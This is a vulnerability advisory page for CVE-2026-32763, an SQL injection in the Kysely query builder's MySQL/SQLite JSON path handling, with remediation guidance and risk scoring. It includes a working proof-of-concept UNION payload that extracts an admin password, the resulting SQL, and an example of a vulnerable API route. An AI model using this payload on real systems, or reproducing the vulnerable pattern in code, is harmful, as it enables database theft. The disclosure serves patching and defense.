Skip to main content

PostgreSQL CVE-2026-32763

HIGH
SQL Injection (CWE-89)
2026-03-18 https://github.com/kysely-org/kysely GHSA-wmrf-hv6w-mr66
8.2
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious JSON path with unescaped single quote
  2. Exploit
    Break out of JSON path string literal
  3. Execution
    Inject arbitrary SQL into query
  4. Impact
    Execute unauthorized database operations

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker can exploit Kysely library versions through 0.28.11 when application uses .key() or .at() methods in JSON path queries against MySQL or SQLite databases. No user interaction required; vulnerability exists in default library functionality.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N) indicates a network-exploitable vulnerability with low attack complexity requiring no privileges or user interaction, resulting in high confidentiality impact and low integrity impact. Real-world risk is elevated because the vulnerability affects a common development pattern where JSON column field names are dynamically selected based on user input (API query parameters, GraphQL resolvers, admin panels). The provided end-to-end proof-of-concept against better-sqlite3 demonstrates trivial exploitation enabling UNION-based attacks to exfiltrate data from arbitrary tables. However, risk is somewhat mitigated by the requirement that applications must be using the specific MySQL or SQLite dialects with dynamic JSON path construction based on untrusted input, and that PostgreSQL users are completely unaffected. The availability of patches in version 0.28.12 and the absence of KEV listing suggests no widespread active exploitation yet. Organizations using Kysely with MySQL or SQLite in applications that expose JSON field selection to users should prioritize remediation immediately.

Exploit ScenarioDerived

An attacker targets a web application API endpoint that allows filtering products by JSON metadata fields, where the field name comes from a query parameter. By crafting a malicious field parameter containing a payload like "city' as "city" from "users" UNION SELECT password FROM admin --", the attacker breaks out of the JSON path string context and injects a UNION query to exfiltrate sensitive data such as administrator credentials from unrelated database tables. The proof-of-concept demonstrates this attack successfully extracting passwords from an admin table in SQLite, and the low attack complexity (CVSS AC:L) with no authentication required (PR:N) makes this readily exploitable in real-world scenarios where applications expose JSON field selection to users.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

Kysely through version 0.28.11 contains a SQL injection vulnerability in JSON path compilation affecting MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() methods directly into single-quoted JSON path string literals without escaping single quotes, enabling attackers to break out of the string context and inject arbitrary SQL. A working proof-of-concept demonstrates UNION-based data exfiltration from SQLite databases. The vulnerability has CVSS score 8.2 and patches are available from the vendor.

RemediationAI

Upgrade Kysely to version 0.28.12 or later which includes the fix available at https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24. See the vendor advisory at https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66 for complete details. If immediate upgrading is not possible, implement strict input validation on any user-controlled values passed to .key() or .at() methods when building JSON path queries for MySQL or SQLite, allowing only alphanumeric characters and underscores. Alternatively, switch to PostgreSQL dialect if feasible, as it is not affected by this vulnerability. Review application code for patterns where query parameters or other untrusted input sources are used to construct JSON path selectors and prioritize those areas for patching or additional validation.

Affected Packages

npm kysely fix: 0.28.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Kysely (pkg:npm/kysely) is a type-safe TypeScript SQL query builder for Node.js supporting multiple database dialects. This vulnerability represents CWE-89 (SQL Injection) occurring in the query compiler's JSON path handling. The MySQL and SQLite operators (->$ and ->>$) produce JSONPathNode objects that are processed by visitJSONPath() and visitJSONPathLeg() methods, which concatenate user-supplied key values directly into single-quoted JSON path strings ('$.key') without sanitization. PostgreSQL dialect is not affected because its operators (-> and ->>) produce JSONOperatorChainNode objects that flow through ValueNode.createImmediate() and ultimately invoke sanitizeStringLiteral(), which properly doubles single quotes. The vulnerability exists because JSON path keys are non-parameterizable SQL constructs requiring manual escaping similar to identifiers, but while the sanitizeIdentifier() function properly doubles delimiter characters, visitJSONPathLeg() performs no such escaping.

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Mar 18, 2026 - 13:15 nvd
Patch available
CVE Published
Mar 18, 2026 - 12:59 nvd
HIGH 8.2

DescriptionGitHub Advisory

Summary

Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.

This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers - both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.

Details

visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:

javascript
// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
    if (node.inOperator) {
        this.visitNode(node.inOperator);
    }
    this.append("'$");
    for (const pathLeg of node.pathLegs) {
        this.visitNode(pathLeg);        // Each leg appended without escaping
    }
    this.append("'");
}
visitJSONPathLeg(node) {
    const isArrayLocation = node.type === 'ArrayLocation';
    this.append(isArrayLocation ? '[' : '.');
    this.append(String(node.value));    // <-- NO single quote escaping
    if (isArrayLocation) {
        this.append(']');
    }
}

Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:

javascript
sanitizeIdentifier(identifier) {
    const leftWrap = this.getLeftIdentifierWrapper();
    const rightWrap = this.getRightIdentifierWrapper();
    let sanitized = '';
    for (const c of identifier) {
        sanitized += c;
        if (c === leftWrap) { sanitized += leftWrap; }
        else if (c === rightWrap) { sanitized += rightWrap; }
    }
    return sanitized;
}

Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.

PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):

  • MySQL/SQLite operators (->$, ->>$) produce a JSONPathNode traversal → visitJSONPathLeg() concatenates the key directly into a single-quoted JSON path string ('$.key') - vulnerable, no escaping.
  • PostgreSQL operators (->, ->>) produce a JSONOperatorChainNode traversal → ValueNode.createImmediate(value) → appendImmediateValue() → appendStringLiteral() → sanitizeStringLiteral() doubles single quotes (' → ''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.

Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.

PoC

End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):

javascript
const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');

const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
  INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
  INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
  INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);

const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });

async function main() {
  // Safe usage
  const safe = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key('city').as('city'))
    .execute();
  console.log("Safe:", safe);
  // [ { city: 'Seoul' }, { city: 'Tokyo' } ]

  // Injection via .key() - exfiltrate admin password
  const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();

The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.

Generated SQL:

sql
select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"

Realistic application pattern

javascript
app.get('/api/products', async (req, res) => {
  const field = req.query.field || 'name';
  const products = await db
    .selectFrom('products')
    .select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
    .execute();
  res.json(products);
});

Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.

Suggested fix

Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.

Impact

SQL Injection (CWE-89) - An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

Executive ViewAI

Why It Matters

Kysely versions through 0.28.11 contain a SQL injection vulnerability that could allow attackers to extract sensitive database information from applications using this library with MySQL or SQLite backends. Any organization using affected Kysely versions in production applications should prioritize patching to prevent potential data breaches.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

Affected Products (CPE)GitHub Advisory

pkg:npm/kysely

Related Vulnerabilities in ClickHouse SQL Injection Validation

View all 2
CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy